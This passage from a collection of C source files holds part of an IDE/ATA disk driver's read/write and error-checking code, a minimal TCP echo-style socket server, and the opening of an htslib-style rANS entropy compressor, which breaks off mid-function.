> 0xfffffff || length > 0x100)) { // use LBA48 only if necessary SHOW_FLOW0( 3, "using LBA48" ); if (length > 0xffff) goto err; if (qrequest->queuable) { // queued LBA48 device->tf_param_mask = ide_mask_features_48 | ide_mask_sector_count | ide_mask_LBA_low_48 | ide_mask_LBA_mid_48 | ide_mask_LBA_high_48; device->tf.queued48.sector_count_0_7 = length & 0xff; device->tf.queued48.sector_count_8_15 = (length >> 8) & 0xff; device->tf.queued48.tag = qrequest->tag; device->tf.queued48.lba_0_7 = pos & 0xff; device->tf.queued48.lba_8_15 = (pos >> 8) & 0xff; device->tf.queued48.lba_16_23 = (pos >> 16) & 0xff; device->tf.queued48.lba_24_31 = (pos >> 24) & 0xff; device->tf.queued48.lba_32_39 = (pos >> 32) & 0xff; device->tf.queued48.lba_40_47 = (pos >> 40) & 0xff; device->tf.queued48.command = write ? IDE_CMD_WRITE_DMA_QUEUED_EXT : IDE_CMD_READ_DMA_QUEUED_EXT; return true; } else { // non-queued LBA48 device->tf_param_mask = ide_mask_sector_count_48 | ide_mask_LBA_low_48 | ide_mask_LBA_mid_48 | ide_mask_LBA_high_48; device->tf.lba48.sector_count_0_7 = length & 0xff; device->tf.lba48.sector_count_8_15 = (length >> 8) & 0xff; device->tf.lba48.lba_0_7 = pos & 0xff; device->tf.lba48.lba_8_15 = (pos >> 8) & 0xff; device->tf.lba48.lba_16_23 = (pos >> 16) & 0xff; device->tf.lba48.lba_24_31 = (pos >> 24) & 0xff; device->tf.lba48.lba_32_39 = (pos >> 32) & 0xff; device->tf.lba48.lba_40_47 = (pos >> 40) & 0xff; device->tf.lba48.command = cmd_48[qrequest->uses_dma][write]; return true; } } else { // normal LBA SHOW_FLOW0(3, "using LBA"); if (length > 0x100) goto err; if (qrequest->queuable) { // queued LBA SHOW_FLOW( 3, "creating DMA queued command, tag=%d", qrequest->tag ); device->tf_param_mask = ide_mask_features | ide_mask_sector_count | ide_mask_LBA_low | ide_mask_LBA_mid | ide_mask_LBA_high | ide_mask_device_head; device->tf.queued.sector_count = length & 0xff; device->tf.queued.tag = qrequest->tag; device->tf.queued.lba_0_7 = pos & 0xff; device->tf.queued.lba_8_15 = (pos >> 8) & 0xff; device->tf.queued.lba_16_23 = (pos >> 16) & 0xff; device->tf.queued.lba_24_27 = (pos >> 24) & 0xf; device->tf.queued.command = write ? IDE_CMD_WRITE_DMA_QUEUED : IDE_CMD_READ_DMA_QUEUED; return true; } else { // non-queued LBA SHOW_FLOW0( 3, "creating normal DMA/PIO command" ); device->tf_param_mask = ide_mask_sector_count | ide_mask_LBA_low | ide_mask_LBA_mid | ide_mask_LBA_high | ide_mask_device_head; device->tf.lba.sector_count = length & 0xff; device->tf.lba.lba_0_7 = pos & 0xff; device->tf.lba.lba_8_15 = (pos >> 8) & 0xff; device->tf.lba.lba_16_23 = (pos >> 16) & 0xff; device->tf.lba.lba_24_27 = (pos >> 24) & 0xf; device->tf.lba.command = cmd_28[qrequest->uses_dma][write]; return true; } } } else { // CHS mode // (probably, noone would notice if we'd dropped support) uint32 track_size, cylinder_offset, cylinder; ide_device_infoblock *infoblock = &device->infoblock; if (length > 0x100) goto err; device->tf.chs.mode = ide_mode_chs; device->tf_param_mask = ide_mask_sector_count | ide_mask_sector_number | ide_mask_cylinder_low | ide_mask_cylinder_high | ide_mask_device_head; device->tf.chs.sector_count = length & 0xff; track_size = infoblock->current_heads * infoblock->current_sectors; if (track_size == 0) { set_sense(device, SCSIS_KEY_MEDIUM_ERROR, SCSIS_ASC_MEDIUM_FORMAT_CORRUPTED); return false; } cylinder = pos / track_size; device->tf.chs.cylinder_0_7 = cylinder & 0xff; device->tf.chs.cylinder_8_15 = (cylinder >> 8) & 0xff; cylinder_offset = pos - cylinder * track_size; device->tf.chs.sector_number = (cylinder_offset % infoblock->current_sectors + 1) & 0xff; device->tf.chs.head = cylinder_offset / infoblock->current_sectors; device->tf.chs.command = cmd_28[qrequest->uses_dma][write]; return true; } return true; err: set_sense(device, SCSIS_KEY_ILLEGAL_REQUEST, SCSIS_ASC_INV_CDB_FIELD); return false; } /** execute read/write command * pos - first block * length - number of blocks */ void ata_send_rw(ide_device_info *device, ide_qrequest *qrequest, uint64 pos, size_t length, bool write) { ide_bus_info *bus = device->bus; uint32 timeout; // make a copy first as settings may get changed by user during execution qrequest->is_write = write; qrequest->uses_dma = device->DMA_enabled; if (qrequest->uses_dma) { if (!prepare_dma(device, qrequest)) { // fall back to PIO on error // if command queueing is used and there is another command // already running, we cannot fallback to PIO immediately -> declare // command as not queuable and resubmit it, so the scsi bus manager // will block other requests on retry // (XXX this is not fine if the caller wants to recycle the CCB) if (device->num_running_reqs > 1) { qrequest->request->flags &= ~SCSI_ORDERED_QTAG; finish_retry(qrequest); return; } qrequest->uses_dma = false; } } if (!qrequest->uses_dma) { prep_PIO_transfer(device, qrequest); device->left_blocks = length; } // compose command if (!create_rw_taskfile(device, qrequest, pos, length, write)) goto err_setup; // if no timeout is specified, use standard timeout = qrequest->request->timeout > 0 ? qrequest->request->timeout : IDE_STD_TIMEOUT; // in DMA mode, we continue with "accessing", // on PIO read, we continue with "async waiting" // on PIO write, we continue with "accessing" if (!send_command(device, qrequest, !device->is_atapi, timeout, (!qrequest->uses_dma && !qrequest->is_write) ? ide_state_async_waiting : ide_state_accessing)) goto err_send; if (qrequest->uses_dma) { // if queuing used, we have to ask device first whether it wants // to postpone the command // XXX: using the bus release IRQ we don't have to busy wait for // a response, but I heard that IBM drives have problems with // that IRQ; to be evaluated if (qrequest->queuable) { if (!wait_for_drdy(device)) goto err_send; if (check_rw_error(device, qrequest)) goto err_send; if (device_released_bus(device)) { // device enqueued command, so we have to wait; // in access_finished, we'll ask device whether it wants to // continue some other command bus->active_qrequest = NULL; access_finished(bus, device); // we may have rejected commands meanwhile, so tell // the SIM that it can resend them now scsi->cont_send_bus(bus->scsi_cookie); return; } //SHOW_ERROR0( 2, "device executes command instantly" ); } start_dma_wait_no_lock(device, qrequest); } else { // on PIO read, we start with waiting, on PIO write we can // transmit data immediately; we let the service thread do // the writing, so the caller can issue the next command // immediately (this optimisation really pays on SMP systems // only) SHOW_FLOW0(3, "Ready for PIO"); if (qrequest->is_write) { SHOW_FLOW0(3, "Scheduling write DPC"); scsi->schedule_dpc(bus->scsi_cookie, bus->irq_dpc, ide_dpc, bus); } } return; err_setup: // error during setup if (qrequest->uses_dma) abort_dma(device, qrequest); finish_checksense(qrequest); return; err_send: // error during/after send; // in this case, the device discards queued request automatically if (qrequest->uses_dma) abort_dma(device, qrequest); finish_reset_queue(qrequest); } /** check for errors reported by read/write command * return: true, if an error occured */ bool check_rw_error(ide_device_info *device, ide_qrequest *qrequest) { ide_bus_info *bus = device->bus; uint8 status; status = bus->controller->get_altstatus(bus->channel_cookie); if ((status & ide_status_err) != 0) { uint8 error; if (bus->controller->read_command_block_regs(bus->channel_cookie, &device->tf, ide_mask_error) != B_OK) { device->subsys_status = SCSI_HBA_ERR; return true; } error = device->tf.read.error; if ((error & ide_error_icrc) != 0) { set_sense(device, SCSIS_KEY_HARDWARE_ERROR, SCSIS_ASC_LUN_COM_CRC); return true; } if (qrequest->is_write) { if ((error & ide_error_wp) != 0) { set_sense(device, SCSIS_KEY_DATA_PROTECT, SCSIS_ASC_WRITE_PROTECTED); return true; } } else { if ((error & ide_error_unc) != 0) { set_sense(device, SCSIS_KEY_MEDIUM_ERROR, SCSIS_ASC_UNREC_READ_ERR); return true; } } if ((error & ide_error_mc) != 0) { set_sense(device, SCSIS_KEY_UNIT_ATTENTION, SCSIS_ASC_MEDIUM_CHANGED); return true; } if ((error & ide_error_idnf) != 0) { // ID not found - invalid CHS mapping (was: seek error?) set_sense(device, SCSIS_KEY_MEDIUM_ERROR, SCSIS_ASC_RANDOM_POS_ERROR); return true; } if ((error & ide_error_mcr) != 0) { // XXX proper sense key? // for TUR this case is not defined !? set_sense(device, SCSIS_KEY_UNIT_ATTENTION, SCSIS_ASC_REMOVAL_REQUESTED); return true; } if ((error & ide_error_nm) != 0) { set_sense(device, SCSIS_KEY_NOT_READY, SCSIS_ASC_NO_MEDIUM); return true; } if ((error & ide_error_abrt) != 0) { set_sense(device, SCSIS_KEY_ABORTED_COMMAND, SCSIS_ASC_NO_SENSE); return true; } set_sense(device, SCSIS_KEY_HARDWARE_ERROR, SCSIS_ASC_INTERNAL_FAILURE); return true; } return false; } /** check result of ATA command * drdy_required - true if drdy must be set by device * error_mask - bits to be checked in error register * is_write - true, if command was a write command */ bool check_output(ide_device_info *device, bool drdy_required, int error_mask, bool is_write) { ide_bus_info *bus = device->bus; uint8 status; // check IRQ timeout if (bus->sync_wait_timeout) { bus->sync_wait_timeout = false; device->subsys_status = SCSI_CMD_TIMEOUT; return false; } status = bus->controller->get_altstatus(bus->channel_cookie); // if device is busy, other flags are indeterminate if ((status & ide_status_bsy) != 0) { device->subsys_status = SCSI_SEQUENCE_FAIL; return false; } if (drdy_required && ((status & ide_status_drdy) == 0)) { device->subsys_status = SCSI_SEQUENCE_FAIL; return false; } if ((status & ide_status_err) != 0) { uint8 error; if (bus->controller->read_command_block_regs(bus->channel_cookie, &device->tf, ide_mask_error) != B_OK) { device->subsys_status = SCSI_HBA_ERR; return false; } error = device->tf.read.error & error_mask; if ((error & ide_error_icrc) != 0) { set_sense(device, SCSIS_KEY_HARDWARE_ERROR, SCSIS_ASC_LUN_COM_CRC); return false; } if (is_write) { if ((error & ide_error_wp) != 0) { set_sense(device, SCSIS_KEY_DATA_PROTECT, SCSIS_ASC_WRITE_PROTECTED); return false; } } else { if ((error & ide_error_unc) != 0) { set_sense(device, SCSIS_KEY_MEDIUM_ERROR, SCSIS_ASC_UNREC_READ_ERR); return false; } } if ((error & ide_error_mc) != 0) { // XXX proper sense key? set_sense(device, SCSIS_KEY_UNIT_ATTENTION, SCSIS_ASC_MEDIUM_CHANGED); return false; } if ((error & ide_error_idnf) != 0) { // XXX strange error code, don't really know what it means set_sense(device, SCSIS_KEY_MEDIUM_ERROR, SCSIS_ASC_RANDOM_POS_ERROR); return false; } if ((error & ide_error_mcr) != 0) { // XXX proper sense key? set_sense(device, SCSIS_KEY_UNIT_ATTENTION, SCSIS_ASC_REMOVAL_REQUESTED); return false; } if ((error & ide_error_nm) != 0) { set_sense(device, SCSIS_KEY_MEDIUM_ERROR, SCSIS_ASC_NO_MEDIUM); return false; } if ((error & ide_error_abrt) != 0) { set_sense(device, SCSIS_KEY_ABORTED_COMMAND, SCSIS_ASC_NO_SENSE); return false; } // either there was no error bit set or it was masked out set_sense(device, SCSIS_KEY_HARDWARE_ERROR, SCSIS_ASC_INTERNAL_FAILURE); return false; } return true; } /** execute SET FEATURE command * set subcommand in task file before calling this */ static bool device_set_feature(ide_device_info *device, int feature) { device->tf_param_mask = ide_mask_features; device->tf.write.features = feature; device->tf.write.command = IDE_CMD_SET_FEATURES; if (!send_command(device, NULL, true, 1, ide_state_sync_waiting)) return false; wait_for_sync(device->bus); return check_output(device, true, ide_error_abrt, false); } static bool configure_rmsn(ide_device_info *device) { ide_bus_info *bus = device->bus; int i; if (!device->infoblock.RMSN_supported || device->infoblock._127_RMSN_support != 1) return true; if (!device_set_feature(device, IDE_CMD_SET_FEATURES_ENABLE_MSN)) return false; bus->controller->read_command_block_regs(bus->channel_cookie, &device->tf, ide_mask_LBA_mid | ide_mask_LBA_high); for (i = 0; i < 5; ++i) { // don't use TUR as it checks not ide_error_mcr | ide_error_mc | ide_error_wp // but: we don't check wp as well device->combined_sense = 0; device->tf_param_mask = 0; device->tf.write.command = IDE_CMD_GET_MEDIA_STATUS; if (!send_command(device, NULL, true, 15, ide_state_sync_waiting)) continue; if (check_output(device, true, ide_error_nm | ide_error_abrt | ide_error_mcr | ide_error_mc, true) || decode_sense_asc_ascq(device->combined_sense) == SCSIS_ASC_NO_MEDIUM) return true; } return false; } static bool configure_command_queueing(ide_device_info *device) { device->CQ_enabled = device->CQ_supported = false; if (!device->bus->can_CQ || !device->infoblock.DMA_QUEUED_supported) return initialize_qreq_array(device, 1); if (device->infoblock.RELEASE_irq_supported && !device_set_feature( device, IDE_CMD_SET_FEATURES_DISABLE_REL_INT)) dprintf("Cannot disable release irq\n"); if (device->infoblock.SERVICE_irq_supported && !device_set_feature(device, IDE_CMD_SET_FEATURES_DISABLE_SERV_INT)) dprintf("Cannot disable service irq\n"); device->CQ_enabled = device->CQ_supported = true; SHOW_INFO0(2, "Enabled command queueing"); // official IBM docs talk about 31 queue entries, though // their disks report 32; let's hope their docs are wrong return initialize_qreq_array(device, device->infoblock.queue_depth + 1); } bool prep_ata(ide_device_info *device) { ide_device_infoblock *infoblock = &device->infoblock; uint32 chs_capacity; SHOW_FLOW0(3, ""); device->is_atapi = false; device->exec_io = ata_exec_io; device->last_lun = 0; // warning: ata == 0 means "this is ata"... if (infoblock->_0.ata.ATA != 0) { // CF has either magic header or CFA bit set // we merge it to "CFA bit set" for easier (later) testing if (*(uint16 *)infoblock == 0x848a) infoblock->CFA_supported = true; else return false; } SHOW_FLOW0(3, "1"); if (!infoblock->_54_58_valid) { // normally, current_xxx contains active CHS mapping, // but if BIOS didn't call INITIALIZE DEVICE PARAMETERS // the default mapping is used infoblock->current_sectors = infoblock->sectors; infoblock->current_cylinders = infoblock->cylinders; infoblock->current_heads = infoblock->heads; } // just in case capacity_xxx isn't initialized - calculate it manually // (seems that this information is really redundant; hopefully) chs_capacity = infoblock->current_sectors * infoblock->current_cylinders * infoblock->current_heads; infoblock->capacity_low = chs_capacity & 0xff; infoblock->capacity_high = chs_capacity >> 8; // checking LBA_supported flag should be sufficient, but it seems // that checking LBA_total_sectors is a good idea device->use_LBA = infoblock->LBA_supported && infoblock->LBA_total_sectors != 0; if (device->use_LBA) { device->total_sectors = infoblock->LBA_total_sectors; device->tf.lba.mode = ide_mode_lba; } else { device->total_sectors = chs_capacity; device->tf.chs.mode = ide_mode_chs; } device->use_48bits = infoblock->_48_bit_addresses_supported; if (device->use_48bits) device->total_sectors = infoblock->LBA48_total_sectors; SHOW_FLOW0(3, "2"); if (!configure_dma(device) || !configure_command_queueing(device) || !configure_rmsn(device)) return false; SHOW_FLOW0(3, "3"); return true; } void enable_CQ(ide_device_info *device, bool enable) { }
571441.c
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> void error(const char *msg) { perror(msg); exit(1); } // Error function used for reporting issues int main(int argc, char *argv[]) { int listenSocketFD, establishedConnectionFD, portNumber, charsRead; socklen_t sizeOfClientInfo; char buffer[256]; struct sockaddr_in serverAddress, clientAddress; if (argc < 2) { fprintf(stderr,"USAGE: %s port\n", argv[0]); exit(1); } // Check usage & args // Set up the address struct for this process (the server) memset((char *)&serverAddress, '\0', sizeof(serverAddress)); // Clear out the address struct portNumber = atoi(argv[1]); // Get the port number, convert to an integer from a string serverAddress.sin_family = AF_INET; // Create a network-capable socket serverAddress.sin_port = htons(portNumber); // Store the port number serverAddress.sin_addr.s_addr = INADDR_ANY; // Any address is allowed for connection to this process // Set up the socket listenSocketFD = socket(AF_INET, SOCK_STREAM, 0); // Create the socket if (listenSocketFD < 0) error("ERROR opening socket"); // Enable the socket to begin listening if (bind(listenSocketFD, (struct sockaddr *)&serverAddress, sizeof(serverAddress)) < 0) // Connect socket to port error("ERROR on binding"); listen(listenSocketFD, 5); // Flip the socket on - it can now receive up to 5 connections // Accept a connection, blocking if one is not available until one connects sizeOfClientInfo = sizeof(clientAddress); // Get the size of the address for the client that will connect establishedConnectionFD = accept(listenSocketFD, (struct sockaddr *)&clientAddress, &sizeOfClientInfo); // Accept if (establishedConnectionFD < 0) error("ERROR on accept"); // Get the message from the client and display it memset(buffer, '\0', 256); charsRead = recv(establishedConnectionFD, buffer, 255, 0); // Read the client's message from the socket if (charsRead < 0) error("ERROR reading from socket"); printf("SERVER: I received this from the client: \"%s\"\n", buffer); // Send a Success message back to the client charsRead = send(establishedConnectionFD, "I am the server, and I got your message", 39, 0); // Send success back if (charsRead < 0) error("ERROR writing to socket"); close(establishedConnectionFD); // Close the existing socket which is connected to the client close(listenSocketFD); // Close the listening socket return 0; }
731613.c
/* * Copyright (c) 2014 Genome Research Ltd. * Author(s): James Bonfield * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * 1. Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * * 2. Redistributions in binary form must reproduce the above * copyright notice, this list of conditions and the following * disclaimer in the documentation and/or other materials provided * with the distribution. * * 3. Neither the names Genome Research Ltd and Wellcome Trust Sanger * Institute nor the names of its contributors may be used to endorse * or promote products derived from this software without specific * prior written permission. * * THIS SOFTWARE IS PROVIDED BY GENOME RESEARCH LTD AND CONTRIBUTORS "AS * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL GENOME RESEARCH * LTD OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* * Author: James Bonfield, Wellcome Trust Sanger Institute. 2014 */ #include <config.h> #include <stdint.h> #include <stdlib.h> #include <stdio.h> #include <unistd.h> #include <assert.h> #include <string.h> #include <sys/time.h> #include "cram/rANS_static.h" #include "cram/rANS_byte.h" #define TF_SHIFT 12 #define TOTFREQ (1<<TF_SHIFT) #define ABS(a) ((a)>0?(a):-(a)) #ifndef BLK_SIZE # define BLK_SIZE 1024*1024 #endif // Room to allow for expanded BLK_SIZE on worst case compression. #define BLK_SIZE2 ((int)(1.05*BLK_SIZE)) /*----------------------------------------------------------------------------- * Memory to memory compression functions. * * These are original versions without any manual loop unrolling. They * are easier to understand, but can be up to 2x slower. */ unsigned char *rans_compress_O0(unsigned char *in, unsigned int in_size, unsigned int *out_size) { unsigned char *out_buf = malloc(1.05*in_size + 257*257*3 + 9); unsigned char *cp, *out_end; RansEncSymbol syms[256]; RansState rans0, rans1, rans2, rans3; uint8_t* ptr; int F[256] = {0}, i, j, tab_size, rle, x, fsum = 0; int m = 0, M = 0; uint64_t tr; if (!out_buf) return NULL; ptr = out_end = out_buf + (int)(1.05*in_size) + 257*257*3 + 9; // Compute statistics for (i = 0; i < in_size; i++) { F[in[i]]++; } tr = ((uint64_t)TOTFREQ<<31)/in_size + (1<<30)/in_size; normalise_harder: // Normalise so T[i] == TOTFREQ for (m = M = j = 0; j < 256; j++) { if (!F[j]) continue; if (m < F[j]) m = F[j], M = j; if ((F[j] = (F[j]*tr)>>31) == 0) F[j] = 1; fsum += F[j]; } fsum++; if (fsum < TOTFREQ) { F[M] += TOTFREQ-fsum; } else if (fsum-TOTFREQ > F[M]/2) { // Corner case to avoid excessive frequency reduction tr = 2104533975; goto normalise_harder; // equiv to *0.98. } else { F[M] -= fsum-TOTFREQ; } //printf("F[%d]=%d\n", M, F[M]); assert(F[M]>0); // Encode statistics. cp = out_buf+9; for (x = rle = j = 0; j < 256; j++) { if (F[j]) { // j if (rle) { rle--; } else { *cp++ = j; if (!rle && j && F[j-1]) { for(rle=j+1; rle<256 && F[rle]; rle++) ; rle -= j+1; *cp++ = rle; } //fprintf(stderr, "%d: %d %d\n", j, rle, N[j]); } // F[j] if (F[j]<128) { *cp++ = F[j]; } else { *cp++ = 128 | (F[j]>>8); *cp++ = F[j]&0xff; } RansEncSymbolInit(&syms[j], x, F[j], TF_SHIFT); x += F[j]; } } *cp++ = 0; //write(1, out_buf+4, cp-(out_buf+4)); tab_size = cp-out_buf; RansEncInit(&rans0); RansEncInit(&rans1); RansEncInit(&rans2); RansEncInit(&rans3); switch (i=(in_size&3)) { case 3: RansEncPutSymbol(&rans2, &ptr, &syms[in[in_size-(i-2)]]); case 2: RansEncPutSymbol(&rans1, &ptr, &syms[in[in_size-(i-1)]]); case 1: RansEncPutSymbol(&rans0, &ptr, &syms[in[in_size-(i-0)]]); case 0: break; } for (i=(in_size &~3); i>0; i-=4) { RansEncSymbol *s3 = &syms[in[i-1]]; RansEncSymbol *s2 = &syms[in[i-2]]; RansEncSymbol *s1 = &syms[in[i-3]]; RansEncSymbol *s0 = &syms[in[i-4]]; RansEncPutSymbol(&rans3, &ptr, s3); RansEncPutSymbol(&rans2, &ptr, s2); RansEncPutSymbol(&rans1, &ptr, s1); RansEncPutSymbol(&rans0, &ptr, s0); } RansEncFlush(&rans3, &ptr); RansEncFlush(&rans2, &ptr); RansEncFlush(&rans1, &ptr); RansEncFlush(&rans0, &ptr); // Finalise block size and return it *out_size = (out_end - ptr) + tab_size; cp = out_buf; *cp++ = 0; // order *cp++ = ((*out_size-9)>> 0) & 0xff; *cp++ = ((*out_size-9)>> 8) & 0xff; *cp++ = ((*out_size-9)>>16) & 0xff; *cp++ = ((*out_size-9)>>24) & 0xff; *cp++ = (in_size>> 0) & 0xff; *cp++ = (in_size>> 8) & 0xff; *cp++ = (in_size>>16) & 0xff; *cp++ = (in_size>>24) & 0xff; memmove(out_buf + tab_size, ptr, out_end-ptr); return out_buf; } typedef struct { unsigned char R[TOTFREQ]; } ari_decoder; unsigned char *rans_uncompress_O0(unsigned char *in, unsigned int in_size, unsigned int *out_size) { /* Load in the static tables */ unsigned char *cp = in + 9; unsigned char *cp_end = in + in_size; int i, j, x, rle; unsigned int out_sz, in_sz; char *out_buf; ari_decoder D; RansDecSymbol syms[256]; if (in_size < 26) // Need at least this many bytes just to start return NULL; if (*in++ != 0) // Order-0 check return NULL; in_sz = ((in[0])<<0) | ((in[1])<<8) | ((in[2])<<16) | ((in[3])<<24); out_sz = ((in[4])<<0) | ((in[5])<<8) | ((in[6])<<16) | ((in[7])<<24); if (in_sz != in_size-9) return NULL; // Precompute reverse lookup of frequency. rle = x = 0; j = *cp++; do { int F, C; if (cp > cp_end - 16) return NULL; // Not enough input bytes left if ((F = *cp++) >= 128) { F &= ~128; F = ((F & 127) << 8) | *cp++; } C = x; RansDecSymbolInit(&syms[j], C, F); /* Build reverse lookup table */ if (x + F > TOTFREQ) return NULL; memset(&D.R[x], j, F); x += F; if (!rle && j+1 == *cp) { j = *cp++; rle = *cp++; } else if (rle) { rle--; j++; if (j > 255) return NULL; } else { j = *cp++; } } while(j); if (x < TOTFREQ-1 || x > TOTFREQ) return NULL; if (x < TOTFREQ) // historically we fill 4095, not 4096 D.R[x] = D.R[x-1]; if (cp > cp_end - 16) return NULL; // Not enough input bytes left RansState rans0, rans1, rans2, rans3; uint8_t *ptr = cp; RansDecInit(&rans0, &ptr); RansDecInit(&rans1, &ptr); RansDecInit(&rans2, &ptr); RansDecInit(&rans3, &ptr); out_buf = malloc(out_sz); if (!out_buf) return NULL; int out_end = (out_sz&~3); RansState R[4]; R[0] = rans0; R[1] = rans1; R[2] = rans2; R[3] = rans3; uint32_t mask = (1u << TF_SHIFT)-1; for (i=0; i < out_end; i+=4) { uint32_t m[4] = {R[0] & mask, R[1] & mask, R[2] & mask, R[3] & mask}; uint8_t c[4] = {D.R[m[0]], D.R[m[1]], D.R[m[2]], D.R[m[3]]}; out_buf[i+0] = c[0]; out_buf[i+1] = c[1]; out_buf[i+2] = c[2]; out_buf[i+3] = c[3]; // In theory all TOTFREQ elements of D.R are filled out, but it's // possible this may not be true (invalid input). We could // check with x == TOTFREQ after filling out D.R matrix, but // for historical reasons this sums to TOTFREQ-1 leaving one // byte in D.R uninitialised. Or we could check here that // syms[c[0..3]].freq > 0 and initialising syms, but that is // slow. // // We take the former approach and accept a potential for garbage in // -> garbage out in the rare 1 in TOTFREQ case as the overhead of // continuous validation of freq > 0 is steep on this tight loop. // RansDecAdvanceSymbolStep(&R[0], &syms[c[0]], TF_SHIFT); // RansDecAdvanceSymbolStep(&R[1], &syms[c[1]], TF_SHIFT); // RansDecAdvanceSymbolStep(&R[2], &syms[c[2]], TF_SHIFT); // RansDecAdvanceSymbolStep(&R[3], &syms[c[3]], TF_SHIFT); R[0] = syms[c[0]].freq * (R[0]>>TF_SHIFT); R[0] += m[0] - syms[c[0]].start; R[1] = syms[c[1]].freq * (R[1]>>TF_SHIFT); R[1] += m[1] - syms[c[1]].start; R[2] = syms[c[2]].freq * (R[2]>>TF_SHIFT); R[2] += m[2] - syms[c[2]].start; R[3] = syms[c[3]].freq * (R[3]>>TF_SHIFT); R[3] += m[3] - syms[c[3]].start; if (ptr < cp_end - 8) { // Each renorm reads no more than 2 bytes RansDecRenorm(&R[0], &ptr); RansDecRenorm(&R[1], &ptr); RansDecRenorm(&R[2], &ptr); RansDecRenorm(&R[3], &ptr); } else { RansDecRenormSafe(&R[0], &ptr, cp_end); RansDecRenormSafe(&R[1], &ptr, cp_end); RansDecRenormSafe(&R[2], &ptr, cp_end); RansDecRenormSafe(&R[3], &ptr, cp_end); } } switch(out_sz&3) { case 3: out_buf[out_end+2] = D.R[RansDecGet(&R[2], TF_SHIFT)]; case 2: out_buf[out_end+1] = D.R[RansDecGet(&R[1], TF_SHIFT)]; case 1: out_buf[out_end] = D.R[RansDecGet(&R[0], TF_SHIFT)]; default: break; } *out_size = out_sz; return (unsigned char *)out_buf; } unsigned char *rans_compress_O1(unsigned char *in, unsigned int in_size, unsigned int *out_size) { unsigned char *out_buf = NULL, *out_end, *cp; unsigned int last_i, tab_size, rle_i, rle_j; RansEncSymbol (*syms)[256] = NULL; /* syms[256][256] */ int (*F)[256] = NULL; /* F[256][256] */ int *T = NULL; /* T[256] */ int i, j; unsigned char c; if (in_size < 4) return rans_compress_O0(in, in_size, out_size); syms = malloc(256 * sizeof(*syms)); if (!syms) goto cleanup; F = calloc(256, sizeof(*F)); if (!F) goto cleanup; T = calloc(256, sizeof(*T)); if (!T) goto cleanup; out_buf = malloc(1.05*in_size + 257*257*3 + 9); if (!out_buf) goto cleanup; out_end = out_buf + (int)(1.05*in_size) + 257*257*3 + 9; cp = out_buf+9; //for (last = 0, i=in_size-1; i>=0; i--) { // F[last][c = in[i]]++; // T[last]++; // last = c; //} for (last_i=i=0; i<in_size; i++) { F[last_i][c = in[i]]++; T[last_i]++; last_i = c; } F[0][in[1*(in_size>>2)]]++; F[0][in[2*(in_size>>2)]]++; F[0][in[3*(in_size>>2)]]++; T[0]+=3; // Normalise so T[i] == TOTFREQ for (rle_i = i = 0; i < 256; i++) { int t2, m, M; unsigned int x; if (T[i] == 0) continue; //uint64_t p = (TOTFREQ * TOTFREQ) / t; double p = ((double)TOTFREQ)/T[i]; normalise_harder: for (t2 = m = M = j = 0; j < 256; j++) { if (!F[i][j]) continue; if (m < F[i][j]) m = F[i][j], M = j; //if ((F[i][j] = (F[i][j] * p) / TOTFREQ) == 0) if ((F[i][j] *= p) == 0) F[i][j] = 1; t2 += F[i][j]; } t2++; if (t2 < TOTFREQ) { F[i][M] += TOTFREQ-t2; } else if (t2-TOTFREQ >= F[i][M]/2) { // Corner case to avoid excessive frequency reduction p = .98; goto normalise_harder; } else { F[i][M] -= t2-TOTFREQ; } // Store frequency table // i if (rle_i) { rle_i--; } else { *cp++ = i; // FIXME: could use order-0 statistics to observe which alphabet // symbols are present and base RLE on that ordering instead. if (i && T[i-1]) { for(rle_i=i+1; rle_i<256 && T[rle_i]; rle_i++) ; rle_i -= i+1; *cp++ = rle_i; } } int *F_i_ = F[i]; x = 0; rle_j = 0; for (j = 0; j < 256; j++) { if (F_i_[j]) { //fprintf(stderr, "F[%d][%d]=%d, x=%d\n", i, j, F_i_[j], x); // j if (rle_j) { rle_j--; } else { *cp++ = j; if (!rle_j && j && F_i_[j-1]) { for(rle_j=j+1; rle_j<256 && F_i_[rle_j]; rle_j++) ; rle_j -= j+1; *cp++ = rle_j; } } // F_i_[j] if (F_i_[j]<128) { *cp++ = F_i_[j]; } else { *cp++ = 128 | (F_i_[j]>>8); *cp++ = F_i_[j]&0xff; } RansEncSymbolInit(&syms[i][j], x, F_i_[j], TF_SHIFT); x += F_i_[j]; } } *cp++ = 0; } *cp++ = 0; //write(1, out_buf+4, cp-(out_buf+4)); tab_size = cp - out_buf; assert(tab_size < 257*257*3); RansState rans0, rans1, rans2, rans3; RansEncInit(&rans0); RansEncInit(&rans1); RansEncInit(&rans2); RansEncInit(&rans3); uint8_t* ptr = out_end; int isz4 = in_size>>2; int i0 = 1*isz4-2; int i1 = 2*isz4-2; int i2 = 3*isz4-2; int i3 = 4*isz4-2; unsigned char l0 = in[i0+1]; unsigned char l1 = in[i1+1]; unsigned char l2 = in[i2+1]; unsigned char l3 = in[i3+1]; // Deal with the remainder l3 = in[in_size-1]; for (i3 = in_size-2; i3 > 4*isz4-2; i3--) { unsigned char c3 = in[i3]; RansEncPutSymbol(&rans3, &ptr, &syms[c3][l3]); l3 = c3; } for (; i0 >= 0; i0--, i1--, i2--, i3--) { unsigned char c0, c1, c2, c3; RansEncSymbol *s3 = &syms[c3 = in[i3]][l3]; RansEncSymbol *s2 = &syms[c2 = in[i2]][l2]; RansEncSymbol *s1 = &syms[c1 = in[i1]][l1]; RansEncSymbol *s0 = &syms[c0 = in[i0]][l0]; RansEncPutSymbol(&rans3, &ptr, s3); RansEncPutSymbol(&rans2, 